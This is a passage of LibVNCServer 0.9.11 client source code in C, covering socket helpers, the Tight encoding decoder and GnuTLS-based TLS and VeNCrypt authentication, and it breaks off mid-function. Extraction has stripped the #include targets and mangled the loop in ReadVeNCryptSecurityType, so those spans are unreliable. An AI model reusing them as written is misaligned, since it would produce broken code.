a socket into non-blocking mode. */ rfbBool SetNonBlocking(int sock) { #ifdef WIN32 unsigned long block=1; if(ioctlsocket(sock, FIONBIO, &block) == SOCKET_ERROR) { errno=WSAGetLastError(); #else int flags = fcntl(sock, F_GETFL); if(flags < 0 || fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) { #endif rfbClientErr("Setting socket to non-blocking failed: %s\n",strerror(errno)); return FALSE; } return TRUE; } /* * SetDSCP sets a socket's IP QoS parameters aka Differentiated Services Code Point field */ rfbBool SetDSCP(int sock, int dscp) { #ifdef WIN32 rfbClientErr("Setting of QoS IP DSCP not implemented for Windows\n"); return TRUE; #else int level, cmd; struct sockaddr addr; socklen_t addrlen = sizeof(addr); if(getsockname(sock, &addr, &addrlen) != 0) { rfbClientErr("Setting socket QoS failed while getting socket address: %s\n",strerror(errno)); return FALSE; } switch(addr.sa_family) { #if defined LIBVNCSERVER_IPv6 && defined IPV6_TCLASS case AF_INET6: level = IPPROTO_IPV6; cmd = IPV6_TCLASS; break; #endif case AF_INET: level = IPPROTO_IP; cmd = IP_TOS; break; default: rfbClientErr("Setting socket QoS failed: Not bound to IP address"); return FALSE; } if(setsockopt(sock, level, cmd, (void*)&dscp, sizeof(dscp)) != 0) { rfbClientErr("Setting socket QoS failed: %s\n", strerror(errno)); return FALSE; } return TRUE; #endif } /* * StringToIPAddr - convert a host string to an IP address. */ rfbBool StringToIPAddr(const char *str, unsigned int *addr) { struct hostent *hp; if (strcmp(str,"") == 0) { *addr = htonl(INADDR_LOOPBACK); /* local */ return TRUE; } *addr = inet_addr(str); if (*addr != -1) return TRUE; if (!initSockets()) return -1; hp = gethostbyname(str); if (hp) { *addr = *(unsigned int *)hp->h_addr; return TRUE; } return FALSE; } /* * Test if the other end of a socket is on the same machine. */ rfbBool SameMachine(int sock) { struct sockaddr_in peeraddr, myaddr; socklen_t addrlen = sizeof(struct sockaddr_in); getpeername(sock, (struct sockaddr *)&peeraddr, &addrlen); getsockname(sock, (struct sockaddr *)&myaddr, &addrlen); return (peeraddr.sin_addr.s_addr == myaddr.sin_addr.s_addr); } /* * Print out the contents of a packet for debugging. */ void PrintInHex(char *buf, int len) { int i, j; char c, str[17]; str[16] = 0; rfbClientLog("ReadExact: "); for (i = 0; i < len; i++) { if ((i % 16 == 0) && (i != 0)) { rfbClientLog(" "); } c = buf[i]; str[i % 16] = (((c > 31) && (c < 127)) ? c : '.'); rfbClientLog("%02x ",(unsigned char)c); if ((i % 4) == 3) rfbClientLog(" "); if ((i % 16) == 15) { rfbClientLog("%s\n",str); } } if ((i % 16) != 0) { for (j = i % 16; j < 16; j++) { rfbClientLog(" "); if ((j % 4) == 3) rfbClientLog(" "); } str[i % 16] = 0; rfbClientLog("%s\n",str); } fflush(stderr); } int WaitForMessage(rfbClient* client,unsigned int usecs) { fd_set fds; struct timeval timeout; int num; if (client->serverPort==-1) /* playing back vncrec file */ return 1; timeout.tv_sec=(usecs/1000000); timeout.tv_usec=(usecs%1000000); FD_ZERO(&fds); FD_SET(client->sock,&fds); num=select(client->sock+1, &fds, NULL, NULL, &timeout); if(num<0) { #ifdef WIN32 errno=WSAGetLastError(); #endif rfbClientLog("Waiting for message failed: %d (%s)\n",errno,strerror(errno)); } return num; } libvncserver-LibVNCServer-0.9.11/libvncclient/tight.c000066400000000000000000000461621303145525000225160ustar00rootroot00000000000000/* * Copyright (C) 2000, 2001 Const Kaplinsky. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* * tight.c - handle ``tight'' encoding. * * This file shouldn't be compiled directly. It is included multiple * times by rfbproto.c, each time with a different definition of the * macro BPP. For each value of BPP, this file defines a function * which handles a tight-encoded rectangle with BPP bits per pixel. * */ #define TIGHT_MIN_TO_COMPRESS 12 #define CARDBPP CONCAT3E(uint,BPP,_t) #define filterPtrBPP CONCAT2E(filterPtr,BPP) #define HandleTightBPP CONCAT2E(HandleTight,BPP) #define InitFilterCopyBPP CONCAT2E(InitFilterCopy,BPP) #define InitFilterPaletteBPP CONCAT2E(InitFilterPalette,BPP) #define InitFilterGradientBPP CONCAT2E(InitFilterGradient,BPP) #define FilterCopyBPP CONCAT2E(FilterCopy,BPP) #define FilterPaletteBPP CONCAT2E(FilterPalette,BPP) #define FilterGradientBPP CONCAT2E(FilterGradient,BPP) #if BPP != 8 #define DecompressJpegRectBPP CONCAT2E(DecompressJpegRect,BPP) #endif #ifndef RGB_TO_PIXEL #define RGB_TO_PIXEL(bpp,r,g,b) \ (((CARD##bpp)(r) & client->format.redMax) << client->format.redShift | \ ((CARD##bpp)(g) & client->format.greenMax) << client->format.greenShift | \ ((CARD##bpp)(b) & client->format.blueMax) << client->format.blueShift) #define RGB24_TO_PIXEL(bpp,r,g,b) \ ((((CARD##bpp)(r) & 0xFF) * client->format.redMax + 127) / 255 \ << client->format.redShift | \ (((CARD##bpp)(g) & 0xFF) * client->format.greenMax + 127) / 255 \ << client->format.greenShift | \ (((CARD##bpp)(b) & 0xFF) * client->format.blueMax + 127) / 255 \ << client->format.blueShift) #define RGB24_TO_PIXEL32(r,g,b) \ (((uint32_t)(r) & 0xFF) << client->format.redShift | \ ((uint32_t)(g) & 0xFF) << client->format.greenShift | \ ((uint32_t)(b) & 0xFF) << client->format.blueShift) #endif /* Type declarations */ typedef void (*filterPtrBPP)(rfbClient* client, int, CARDBPP *); /* Prototypes */ static int InitFilterCopyBPP (rfbClient* client, int rw, int rh); static int InitFilterPaletteBPP (rfbClient* client, int rw, int rh); static int InitFilterGradientBPP (rfbClient* client, int rw, int rh); static void FilterCopyBPP (rfbClient* client, int numRows, CARDBPP *destBuffer); static void FilterPaletteBPP (rfbClient* client, int numRows, CARDBPP *destBuffer); static void FilterGradientBPP (rfbClient* client, int numRows, CARDBPP *destBuffer); #if BPP != 8 static rfbBool DecompressJpegRectBPP(rfbClient* client, int x, int y, int w, int h); #endif /* Definitions */ static rfbBool HandleTightBPP (rfbClient* client, int rx, int ry, int rw, int rh) { CARDBPP fill_colour; uint8_t comp_ctl; uint8_t filter_id; filterPtrBPP filterFn; z_streamp zs; char *buffer2; int err, stream_id, compressedLen, bitsPixel; int bufferSize, rowSize, numRows, portionLen, rowsProcessed, extraBytes; if (!ReadFromRFBServer(client, (char *)&comp_ctl, 1)) return FALSE; /* Flush zlib streams if we are told by the server to do so. */ for (stream_id = 0; stream_id < 4; stream_id++) { if ((comp_ctl & 1) && client->zlibStreamActive[stream_id]) { if (inflateEnd (&client->zlibStream[stream_id]) != Z_OK && client->zlibStream[stream_id].msg != NULL) rfbClientLog("inflateEnd: %s\n", client->zlibStream[stream_id].msg); client->zlibStreamActive[stream_id] = FALSE; } comp_ctl >>= 1; } /* Handle solid rectangles. */ if (comp_ctl == rfbTightFill) { #if BPP == 32 if (client->format.depth == 24 && client->format.redMax == 0xFF && client->format.greenMax == 0xFF && client->format.blueMax == 0xFF) { if (!ReadFromRFBServer(client, client->buffer, 3)) return FALSE; fill_colour = RGB24_TO_PIXEL32(client->buffer[0], client->buffer[1], client->buffer[2]); } else { if (!ReadFromRFBServer(client, (char*)&fill_colour, sizeof(fill_colour))) return FALSE; } #else if (!ReadFromRFBServer(client, (char*)&fill_colour, sizeof(fill_colour))) return FALSE; #endif FillRectangle(client, rx, ry, rw, rh, fill_colour); return TRUE; } #if BPP == 8 if (comp_ctl == rfbTightJpeg) { rfbClientLog("Tight encoding: JPEG is not supported in 8 bpp mode.\n"); return FALSE; } #else if (comp_ctl == rfbTightJpeg) { return DecompressJpegRectBPP(client, rx, ry, rw, rh); } #endif /* Quit on unsupported subencoding value. */ if (comp_ctl > rfbTightMaxSubencoding) { rfbClientLog("Tight encoding: bad subencoding value received.\n"); return FALSE; } /* * Here primary compression mode handling begins. * Data was processed with optional filter + zlib compression. */ /* First, we should identify a filter to use. */ if ((comp_ctl & rfbTightExplicitFilter) != 0) { if (!ReadFromRFBServer(client, (char*)&filter_id, 1)) return FALSE; switch (filter_id) { case rfbTightFilterCopy: filterFn = FilterCopyBPP; bitsPixel = InitFilterCopyBPP(client, rw, rh); break; case rfbTightFilterPalette: filterFn = FilterPaletteBPP; bitsPixel = InitFilterPaletteBPP(client, rw, rh); break; case rfbTightFilterGradient: filterFn = FilterGradientBPP; bitsPixel = InitFilterGradientBPP(client, rw, rh); break; default: rfbClientLog("Tight encoding: unknown filter code received.\n"); return FALSE; } } else { filterFn = FilterCopyBPP; bitsPixel = InitFilterCopyBPP(client, rw, rh); } if (bitsPixel == 0) { rfbClientLog("Tight encoding: error receiving palette.\n"); return FALSE; } /* Determine if the data should be decompressed or just copied. */ rowSize = (rw * bitsPixel + 7) / 8; if (rh * rowSize < TIGHT_MIN_TO_COMPRESS) { if (!ReadFromRFBServer(client, (char*)client->buffer, rh * rowSize)) return FALSE; buffer2 = &client->buffer[TIGHT_MIN_TO_COMPRESS * 4]; filterFn(client, rh, (CARDBPP *)buffer2); CopyRectangle(client, (uint8_t *)buffer2, rx, ry, rw, rh); return TRUE; } /* Read the length (1..3 bytes) of compressed data following. */ compressedLen = (int)ReadCompactLen(client); if (compressedLen <= 0) { rfbClientLog("Incorrect data received from the server.\n"); return FALSE; } /* Now let's initialize compression stream if needed. */ stream_id = comp_ctl & 0x03; zs = &client->zlibStream[stream_id]; if (!client->zlibStreamActive[stream_id]) { zs->zalloc = Z_NULL; zs->zfree = Z_NULL; zs->opaque = Z_NULL; err = inflateInit(zs); if (err != Z_OK) { if (zs->msg != NULL) rfbClientLog("InflateInit error: %s.\n", zs->msg); return FALSE; } client->zlibStreamActive[stream_id] = TRUE; } /* Read, decode and draw actual pixel data in a loop. */ bufferSize = RFB_BUFFER_SIZE * bitsPixel / (bitsPixel + BPP) & 0xFFFFFFFC; buffer2 = &client->buffer[bufferSize]; if (rowSize > bufferSize) { /* Should be impossible when RFB_BUFFER_SIZE >= 16384 */ rfbClientLog("Internal error: incorrect buffer size.\n"); return FALSE; } rowsProcessed = 0; extraBytes = 0; while (compressedLen > 0) { if (compressedLen > ZLIB_BUFFER_SIZE) portionLen = ZLIB_BUFFER_SIZE; else portionLen = compressedLen; if (!ReadFromRFBServer(client, (char*)client->zlib_buffer, portionLen)) return FALSE; compressedLen -= portionLen; zs->next_in = (Bytef *)client->zlib_buffer; zs->avail_in = portionLen; do { zs->next_out = (Bytef *)&client->buffer[extraBytes]; zs->avail_out = bufferSize - extraBytes; err = inflate(zs, Z_SYNC_FLUSH); if (err == Z_BUF_ERROR) /* Input exhausted -- no problem. */ break; if (err != Z_OK && err != Z_STREAM_END) { if (zs->msg != NULL) { rfbClientLog("Inflate error: %s.\n", zs->msg); } else { rfbClientLog("Inflate error: %d.\n", err); } return FALSE; } numRows = (bufferSize - zs->avail_out) / rowSize; filterFn(client, numRows, (CARDBPP *)buffer2); extraBytes = bufferSize - zs->avail_out - numRows * rowSize; if (extraBytes > 0) memcpy(client->buffer, &client->buffer[numRows * rowSize], extraBytes); CopyRectangle(client, (uint8_t *)buffer2, rx, ry+rowsProcessed, rw, numRows); rowsProcessed += numRows; } while (zs->avail_out == 0); } if (rowsProcessed != rh) { rfbClientLog("Incorrect number of scan lines after decompression.\n"); return FALSE; } return TRUE; } /*---------------------------------------------------------------------------- * * Filter stuff. * */ static int InitFilterCopyBPP (rfbClient* client, int rw, int rh) { client->rectWidth = rw; #if BPP == 32 if (client->format.depth == 24 && client->format.redMax == 0xFF && client->format.greenMax == 0xFF && client->format.blueMax == 0xFF) { client->cutZeros = TRUE; return 24; } else { client->cutZeros = FALSE; } #endif return BPP; } static void FilterCopyBPP (rfbClient* client, int numRows, CARDBPP *dst) { #if BPP == 32 int x, y; if (client->cutZeros) { for (y = 0; y < numRows; y++) { for (x = 0; x < client->rectWidth; x++) { dst[y*client->rectWidth+x] = RGB24_TO_PIXEL32(client->buffer[(y*client->rectWidth+x)*3], client->buffer[(y*client->rectWidth+x)*3+1], client->buffer[(y*client->rectWidth+x)*3+2]); } } return; } #endif memcpy (dst, client->buffer, numRows * client->rectWidth * (BPP / 8)); } static int InitFilterGradientBPP (rfbClient* client, int rw, int rh) { int bits; bits = InitFilterCopyBPP(client, rw, rh); if (client->cutZeros) memset(client->tightPrevRow, 0, rw * 3); else memset(client->tightPrevRow, 0, rw * 3 * sizeof(uint16_t)); return bits; } #if BPP == 32 static void FilterGradient24 (rfbClient* client, int numRows, uint32_t *dst) { int x, y, c; uint8_t thisRow[2048*3]; uint8_t pix[3]; int est[3]; for (y = 0; y < numRows; y++) { /* First pixel in a row */ for (c = 0; c < 3; c++) { pix[c] = client->tightPrevRow[c] + client->buffer[y*client->rectWidth*3+c]; thisRow[c] = pix[c]; } dst[y*client->rectWidth] = RGB24_TO_PIXEL32(pix[0], pix[1], pix[2]); /* Remaining pixels of a row */ for (x = 1; x < client->rectWidth; x++) { for (c = 0; c < 3; c++) { est[c] = (int)client->tightPrevRow[x*3+c] + (int)pix[c] - (int)client->tightPrevRow[(x-1)*3+c]; if (est[c] > 0xFF) { est[c] = 0xFF; } else if (est[c] < 0x00) { est[c] = 0x00; } pix[c] = (uint8_t)est[c] + client->buffer[(y*client->rectWidth+x)*3+c]; thisRow[x*3+c] = pix[c]; } dst[y*client->rectWidth+x] = RGB24_TO_PIXEL32(pix[0], pix[1], pix[2]); } memcpy(client->tightPrevRow, thisRow, client->rectWidth * 3); } } #endif static void FilterGradientBPP (rfbClient* client, int numRows, CARDBPP *dst) { int x, y, c; CARDBPP *src = (CARDBPP *)client->buffer; uint16_t *thatRow = (uint16_t *)client->tightPrevRow; uint16_t thisRow[2048*3]; uint16_t pix[3]; uint16_t max[3]; int shift[3]; int est[3]; #if BPP == 32 if (client->cutZeros) { FilterGradient24(client, numRows, dst); return; } #endif max[0] = client->format.redMax; max[1] = client->format.greenMax; max[2] = client->format.blueMax; shift[0] = client->format.redShift; shift[1] = client->format.greenShift; shift[2] = client->format.blueShift; for (y = 0; y < numRows; y++) { /* First pixel in a row */ for (c = 0; c < 3; c++) { pix[c] = (uint16_t)(((src[y*client->rectWidth] >> shift[c]) + thatRow[c]) & max[c]); thisRow[c] = pix[c]; } dst[y*client->rectWidth] = RGB_TO_PIXEL(BPP, pix[0], pix[1], pix[2]); /* Remaining pixels of a row */ for (x = 1; x < client->rectWidth; x++) { for (c = 0; c < 3; c++) { est[c] = (int)thatRow[x*3+c] + (int)pix[c] - (int)thatRow[(x-1)*3+c]; if (est[c] > (int)max[c]) { est[c] = (int)max[c]; } else if (est[c] < 0) { est[c] = 0; } pix[c] = (uint16_t)(((src[y*client->rectWidth+x] >> shift[c]) + est[c]) & max[c]); thisRow[x*3+c] = pix[c]; } dst[y*client->rectWidth+x] = RGB_TO_PIXEL(BPP, pix[0], pix[1], pix[2]); } memcpy(thatRow, thisRow, client->rectWidth * 3 * sizeof(uint16_t)); } } static int InitFilterPaletteBPP (rfbClient* client, int rw, int rh) { uint8_t numColors; #if BPP == 32 int i; CARDBPP *palette = (CARDBPP *)client->tightPalette; #endif client->rectWidth = rw; if (!ReadFromRFBServer(client, (char*)&numColors, 1)) return 0; client->rectColors = (int)numColors; if (++client->rectColors < 2) return 0; #if BPP == 32 if (client->format.depth == 24 && client->format.redMax == 0xFF && client->format.greenMax == 0xFF && client->format.blueMax == 0xFF) { if (!ReadFromRFBServer(client, (char*)&client->tightPalette, client->rectColors * 3)) return 0; for (i = client->rectColors - 1; i >= 0; i--) { palette[i] = RGB24_TO_PIXEL32(client->tightPalette[i*3], client->tightPalette[i*3+1], client->tightPalette[i*3+2]); } return (client->rectColors == 2) ? 1 : 8; } #endif if (!ReadFromRFBServer(client, (char*)&client->tightPalette, client->rectColors * (BPP / 8))) return 0; return (client->rectColors == 2) ? 1 : 8; } static void FilterPaletteBPP (rfbClient* client, int numRows, CARDBPP *dst) { int x, y, b, w; uint8_t *src = (uint8_t *)client->buffer; CARDBPP *palette = (CARDBPP *)client->tightPalette; if (client->rectColors == 2) { w = (client->rectWidth + 7) / 8; for (y = 0; y < numRows; y++) { for (x = 0; x < client->rectWidth / 8; x++) { for (b = 7; b >= 0; b--) dst[y*client->rectWidth+x*8+7-b] = palette[src[y*w+x] >> b & 1]; } for (b = 7; b >= 8 - client->rectWidth % 8; b--) { dst[y*client->rectWidth+x*8+7-b] = palette[src[y*w+x] >> b & 1]; } } } else { for (y = 0; y < numRows; y++) for (x = 0; x < client->rectWidth; x++) dst[y*client->rectWidth+x] = palette[(int)src[y*client->rectWidth+x]]; } } #if BPP != 8 /*---------------------------------------------------------------------------- * * JPEG decompression. * */ static rfbBool DecompressJpegRectBPP(rfbClient* client, int x, int y, int w, int h) { struct jpeg_decompress_struct cinfo; struct jpeg_error_mgr jerr; int compressedLen; uint8_t *compressedData; CARDBPP *pixelPtr; JSAMPROW rowPointer[1]; int dx, dy; compressedLen = (int)ReadCompactLen(client); if (compressedLen <= 0) { rfbClientLog("Incorrect data received from the server.\n"); return FALSE; } compressedData = malloc(compressedLen); if (compressedData == NULL) { rfbClientLog("Memory allocation error.\n"); return FALSE; } if (!ReadFromRFBServer(client, (char*)compressedData, compressedLen)) { free(compressedData); return FALSE; } cinfo.err = jpeg_std_error(&jerr); cinfo.client_data = client; jpeg_create_decompress(&cinfo); JpegSetSrcManager(&cinfo, compressedData, compressedLen); jpeg_read_header(&cinfo, TRUE); cinfo.out_color_space = JCS_RGB; jpeg_start_decompress(&cinfo); if (cinfo.output_width != w || cinfo.output_height != h || cinfo.output_components != 3) { rfbClientLog("Tight Encoding: Wrong JPEG data received.\n"); jpeg_destroy_decompress(&cinfo); free(compressedData); return FALSE; } rowPointer[0] = (JSAMPROW)client->buffer; dy = 0; while (cinfo.output_scanline < cinfo.output_height) { jpeg_read_scanlines(&cinfo, rowPointer, 1); if (client->jpegError) { break; } pixelPtr = (CARDBPP *)&client->buffer[RFB_BUFFER_SIZE / 2]; for (dx = 0; dx < w; dx++) { *pixelPtr++ = RGB24_TO_PIXEL(BPP, client->buffer[dx*3], client->buffer[dx*3+1], client->buffer[dx*3+2]); } CopyRectangle(client, (uint8_t *)&client->buffer[RFB_BUFFER_SIZE / 2], x, y + dy, w, 1); dy++; } if (!client->jpegError) jpeg_finish_decompress(&cinfo); jpeg_destroy_decompress(&cinfo); free(compressedData); return !client->jpegError; } #else static long ReadCompactLen (rfbClient* client) { long len; uint8_t b; if (!ReadFromRFBServer(client, (char *)&b, 1)) return -1; len = (int)b & 0x7F; if (b & 0x80) { if (!ReadFromRFBServer(client, (char *)&b, 1)) return -1; len |= ((int)b & 0x7F) << 7; if (b & 0x80) { if (!ReadFromRFBServer(client, (char *)&b, 1)) return -1; len |= ((int)b & 0xFF) << 14; } } return len; } /* * JPEG source manager functions for JPEG decompression in Tight decoder. */ static void JpegInitSource(j_decompress_ptr cinfo) { rfbClient* client=(rfbClient*)cinfo->client_data; client->jpegError = FALSE; } static boolean JpegFillInputBuffer(j_decompress_ptr cinfo) { rfbClient* client=(rfbClient*)cinfo->client_data; client->jpegError = TRUE; client->jpegSrcManager->bytes_in_buffer = client->jpegBufferLen; client->jpegSrcManager->next_input_byte = (JOCTET *)client->jpegBufferPtr; return TRUE; } static void JpegSkipInputData(j_decompress_ptr cinfo, long num_bytes) { rfbClient* client=(rfbClient*)cinfo->client_data; if (num_bytes < 0 || num_bytes > client->jpegSrcManager->bytes_in_buffer) { client->jpegError = TRUE; client->jpegSrcManager->bytes_in_buffer = client->jpegBufferLen; client->jpegSrcManager->next_input_byte = (JOCTET *)client->jpegBufferPtr; } else { client->jpegSrcManager->next_input_byte += (size_t) num_bytes; client->jpegSrcManager->bytes_in_buffer -= (size_t) num_bytes; } } static void JpegTermSource(j_decompress_ptr cinfo) { /* nothing to do here. */ } static void JpegSetSrcManager(j_decompress_ptr cinfo, uint8_t *compressedData, int compressedLen) { rfbClient* client=(rfbClient*)cinfo->client_data; client->jpegBufferPtr = compressedData; client->jpegBufferLen = (size_t)compressedLen; if(client->jpegSrcManager == NULL) client->jpegSrcManager = malloc(sizeof(struct jpeg_source_mgr)); client->jpegSrcManager->init_source = JpegInitSource; client->jpegSrcManager->fill_input_buffer = JpegFillInputBuffer; client->jpegSrcManager->skip_input_data = JpegSkipInputData; client->jpegSrcManager->resync_to_restart = jpeg_resync_to_restart; client->jpegSrcManager->term_source = JpegTermSource; client->jpegSrcManager->next_input_byte = (JOCTET*)client->jpegBufferPtr; client->jpegSrcManager->bytes_in_buffer = client->jpegBufferLen; cinfo->src = client->jpegSrcManager; } #endif #undef CARDBPP /* LIBVNCSERVER_HAVE_LIBZ and LIBVNCSERVER_HAVE_LIBJPEG */ #endif #endif libvncserver-LibVNCServer-0.9.11/libvncclient/tls.h000066400000000000000000000034701303145525000222010ustar00rootroot00000000000000#ifndef TLS_H #define TLS_H /* * Copyright (C) 2009 Vic Lee. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* Handle Anonymous TLS Authentication (18) with the server. * After authentication, client->tlsSession will be set. */ rfbBool HandleAnonTLSAuth(rfbClient* client); /* Handle VeNCrypt Authentication (19) with the server. * The callback function GetX509Credential will be called. * After authentication, client->tlsSession will be set. */ rfbBool HandleVeNCryptAuth(rfbClient* client); /* Read desired bytes from TLS session. * It's a wrapper function over gnutls_record_recv() and return values * are same as read(), that is, >0 for actual bytes read, 0 for EOF, * or EAGAIN, EINTR. * This should be a non-blocking call. Blocking is handled in sockets.c. */ int ReadFromTLS(rfbClient* client, char *out, unsigned int n); /* Write desired bytes to TLS session. * It's a wrapper function over gnutls_record_send() and it will be * blocking call, until all bytes are written or error returned. */ int WriteToTLS(rfbClient* client, char *buf, unsigned int n); /* Free TLS resources */ void FreeTLS(rfbClient* client); #endif /* TLS_H */ libvncserver-LibVNCServer-0.9.11/libvncclient/tls_gnutls.c000066400000000000000000000342071303145525000235720ustar00rootroot00000000000000/* * Copyright (C) 2009 Vic Lee. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include #include #include #ifdef WIN32 #undef SOCKET #include /* for Sleep() */ #define sleep(X) Sleep(1000*X) /* MinGW32 has no sleep() */ #include #define read(sock,buf,len) recv(sock,buf,len,0) #define write(sock,buf,len) send(sock,buf,len,0) #endif #include "tls.h" static const char *rfbTLSPriority = "NORMAL:+DHE-DSS:+RSA:+DHE-RSA:+SRP"; static const char *rfbAnonTLSPriority= "NORMAL:+ANON-DH"; #define DH_BITS 1024 static gnutls_dh_params_t rfbDHParams; static rfbBool rfbTLSInitialized = FALSE; static rfbBool InitializeTLS(void) { int ret; if (rfbTLSInitialized) return TRUE; if ((ret = gnutls_global_init()) < 0 || (ret = gnutls_dh_params_init(&rfbDHParams)) < 0 || (ret = gnutls_dh_params_generate2(rfbDHParams, DH_BITS)) < 0) { rfbClientLog("Failed to initialized GnuTLS: %s.\n", gnutls_strerror(ret)); return FALSE; } rfbClientLog("GnuTLS initialized.\n"); rfbTLSInitialized = TRUE; return TRUE; } /* * On Windows, translate WSAGetLastError() to errno values as GNU TLS does it * internally too. This is necessary because send() and recv() on Windows * don't set errno when they fail but GNUTLS expects a proper errno value. * * Use gnutls_transport_set_global_errno() like the GNU TLS documentation * suggests to avoid problems with different errno variables when GNU TLS and * libvncclient are linked to different versions of msvcrt.dll. */ #ifdef WIN32 static void WSAtoTLSErrno(gnutls_session_t* session) { switch(WSAGetLastError()) { #if (GNUTLS_VERSION_NUMBER >= 0x029901) case WSAEWOULDBLOCK: gnutls_transport_set_errno(session, EAGAIN); break; case WSAEINTR: gnutls_transport_set_errno(session, EINTR); break; default: gnutls_transport_set_errno(session, EIO); break; #else case WSAEWOULDBLOCK: gnutls_transport_set_global_errno(EAGAIN); break; case WSAEINTR: gnutls_transport_set_global_errno(EINTR); break; default: gnutls_transport_set_global_errno(EIO); break; #endif } } #endif static ssize_t PushTLS(gnutls_transport_ptr_t transport, const void *data, size_t len) { rfbClient *client = (rfbClient*)transport; int ret; while (1) { ret = write(client->sock, data, len); if (ret < 0) { #ifdef WIN32 WSAtoTLSErrno((gnutls_session_t*)&client->tlsSession); #endif if (errno == EINTR) continue; return -1; } return ret; } } static ssize_t PullTLS(gnutls_transport_ptr_t transport, void *data, size_t len) { rfbClient *client = (rfbClient*)transport; int ret; while (1) { ret = read(client->sock, data, len); if (ret < 0) { #ifdef WIN32 WSAtoTLSErrno((gnutls_session_t*)&client->tlsSession); #endif if (errno == EINTR) continue; return -1; } return ret; } } static rfbBool InitializeTLSSession(rfbClient* client, rfbBool anonTLS) { int ret; const char *p; if (client->tlsSession) return TRUE; if ((ret = gnutls_init((gnutls_session_t*)&client->tlsSession, GNUTLS_CLIENT)) < 0) { rfbClientLog("Failed to initialized TLS session: %s.\n", gnutls_strerror(ret)); return FALSE; } if ((ret = gnutls_priority_set_direct((gnutls_session_t)client->tlsSession, anonTLS ? rfbAnonTLSPriority : rfbTLSPriority, &p)) < 0) { rfbClientLog("Warning: Failed to set TLS priority: %s (%s).\n", gnutls_strerror(ret), p); } gnutls_transport_set_ptr((gnutls_session_t)client->tlsSession, (gnutls_transport_ptr_t)client); gnutls_transport_set_push_function((gnutls_session_t)client->tlsSession, PushTLS); gnutls_transport_set_pull_function((gnutls_session_t)client->tlsSession, PullTLS); rfbClientLog("TLS session initialized.\n"); return TRUE; } static rfbBool SetTLSAnonCredential(rfbClient* client) { gnutls_anon_client_credentials anonCred; int ret; if ((ret = gnutls_anon_allocate_client_credentials(&anonCred)) < 0 || (ret = gnutls_credentials_set((gnutls_session_t)client->tlsSession, GNUTLS_CRD_ANON, anonCred)) < 0) { FreeTLS(client); rfbClientLog("Failed to create anonymous credentials: %s", gnutls_strerror(ret)); return FALSE; } rfbClientLog("TLS anonymous credential created.\n"); return TRUE; } static rfbBool HandshakeTLS(rfbClient* client) { int timeout = 15; int ret; while (timeout > 0 && (ret = gnutls_handshake((gnutls_session_t)client->tlsSession)) < 0) { if (!gnutls_error_is_fatal(ret)) { rfbClientLog("TLS handshake blocking.\n"); sleep(1); timeout--; continue; } rfbClientLog("TLS handshake failed: %s.\n", gnutls_strerror(ret)); FreeTLS(client); return FALSE; } if (timeout <= 0) { rfbClientLog("TLS handshake timeout.\n"); FreeTLS(client); return FALSE; } rfbClientLog("TLS handshake done.\n"); return TRUE; } /* VeNCrypt sub auth. 1 byte auth count, followed by count * 4 byte integers */ static rfbBool ReadVeNCryptSecurityType(rfbClient* client, uint32_t *result) { uint8_t count=0; uint8_t loop=0; uint8_t flag=0; uint32_t tAuth[256], t; char buf1[500],buf2[10]; uint32_t authScheme; if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; if (count==0) { rfbClientLog("List of security types is ZERO. Giving up.\n"); return FALSE; } if (count>sizeof(tAuth)) { rfbClientLog("%d security types are too many; maximum is %d\n", count, sizeof(tAuth)); return FALSE; } rfbClientLog("We have %d security types to read\n", count); authScheme=0; /* now, we have a list of available security types to read ( uint8_t[] ) */ for (loop=0;loop=sizeof(buf1)-1) break; snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); } rfbClientLog("Unknown VeNCrypt authentication scheme from VNC server: %s\n", buf1); return FALSE; } *result = authScheme; return TRUE; } static void FreeX509Credential(rfbCredential *cred) { if (cred->x509Credential.x509CACertFile) free(cred->x509Credential.x509CACertFile); if (cred->x509Credential.x509CACrlFile) free(cred->x509Credential.x509CACrlFile); if (cred->x509Credential.x509ClientCertFile) free(cred->x509Credential.x509ClientCertFile); if (cred->x509Credential.x509ClientKeyFile) free(cred->x509Credential.x509ClientKeyFile); free(cred); } static gnutls_certificate_credentials_t CreateX509CertCredential(rfbCredential *cred) { gnutls_certificate_credentials_t x509_cred; int ret; if (!cred->x509Credential.x509CACertFile) { rfbClientLog("No CA certificate provided.\n"); return NULL; } if ((ret = gnutls_certificate_allocate_credentials(&x509_cred)) < 0) { rfbClientLog("Cannot allocate credentials: %s.\n", gnutls_strerror(ret)); return NULL; } if ((ret = gnutls_certificate_set_x509_trust_file(x509_cred, cred->x509Credential.x509CACertFile, GNUTLS_X509_FMT_PEM)) < 0) { rfbClientLog("Cannot load CA credentials: %s.\n", gnutls_strerror(ret)); gnutls_certificate_free_credentials (x509_cred); return NULL; } if (cred->x509Credential.x509ClientCertFile && cred->x509Credential.x509ClientKeyFile) { if ((ret = gnutls_certificate_set_x509_key_file(x509_cred, 